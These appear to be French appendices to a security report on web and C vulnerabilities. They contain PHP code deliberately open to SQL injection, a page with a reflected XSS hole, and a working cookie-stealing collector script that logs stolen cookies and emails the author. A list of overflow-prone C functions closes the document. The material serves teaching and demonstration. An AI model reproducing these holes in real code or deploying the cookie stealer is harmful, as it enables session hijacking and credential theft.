Sommaire

[Annexe 1 (Blind SQL Injections) 2](#_Toc260001142)

[Annexe 2 (XSS) 2](#_Toc260001143)

[XSS non permanent 3](#_Toc260001144)

[XSS permanent 3](#_Toc260001145)

[Annexe 3 (Buffer Overflow) 4](#_Toc260001146)

# Annexe 1 (Blind SQL Injections)

# <?php

# $val = isset($\_GET['val']) ? $\_GET['val'] : '';

# if($val == 1) {

# $host = '127.0.0.1';

# $user = 'root';

# $bdd = 'test';

# $passwd = '';

# mysql\_connect($host, $user,$passwd) or die('erreur de connexion au serveur');

# mysql\_select\_db($bdd) or die('erreur de connexion a la base de donnees');

# $query = stripslashes('SELECT name,pass FROM user WHERE name=\''.$\_POST['login'].'\' AND pass=\''.$\_POST['pwd'].'\'');

# echo $query.'<br/>';

# $result = mysql\_query($query)or die('Erreur query');

# if(mysql\_num\_rows($result) > 0) {

# echo 'Connexion OK';

# } else {

# echo 'Erreur de connexion';

# }

# }

# ?>

# <html>

# <body>

# <form action="injectionSQL.php?val=1" method="POST">

# Login : <input type="text" name="login" /><br/>

# Mdp : <input type="text" name="pwd"/>

# <input type="submit" value="Valider"/>

# </form>

# <body>

# </html>

# Annexe 2 (XSS)

## XSS non permanent

<html>

<title>XSS nperm by Philippe Chauvelin</title>

<body>

<center><h1>Cette page contient une faille XSS</h1><br/>

Supposons que le champ suivant soit un moteur de recherche

<p><h2>Methode non permanente</h2>

<form method="get" action="">

<input type="text" name="search" size="200" value="<?php if(isset($\_GET['search']))

echo stripslashes($\_GET['search']) ?>" /> <!-- Ma faille XSS !-->

<br/><input type="submit" value="rechercher" />

</form></p>

</p>

</body>

</html>

## XSS permanent

<?php

$cookie = $\_GET["c"];

if($cookie)

{

$fp = fopen("cookies.txt","a");

fputs($fp,$cookie . "\r\n");

fclose($fp);

@mail('p.chauvelin@gmail.com', 'XSS', 'Objectif accompli !');

sleep(3);

}

?>

<script>

location.replace("http://localhost /XSS/ page.php");

</script>

# Annexe 3 (Buffer Overflow)

Liste des fonctions C/C++ à risque :

strcat() : concatène deux chaînes de caractères.

strcpy() : copie une chaîne dans une autre.

sprintf() : formate une chaîne de caractères.

vsprintf() : comme sprintf() avec un pointeur vers une liste de paramètres.

gets() : lit chaîne sur sortie standard.

scanf() : lecture formatée depuis entrée standard .

fscanf() : lecture formatée fichier.

sscanf() : lecture formatée depuis buffer.

vscanf() : examine l’entrée standard en utilisant une liste variable d'arguments pointeurs.

vsscanf() : comme vscanf() avec une chaîne.

realpath() : retourne le chemin canonique absolu du chemin passé en paramètre.

getopt() : analyse les arguments de la ligne de commande et renvoie le caractère de l'option s'il en trouve une.

strecpy() & streadd() : Ces fonctions substitue des caractères binaires avec des équivalents de chaîne.

strtrns() : copie dans une nouvelle chaîne la même chaine en remplaçant les anciens segments par des nouveaux.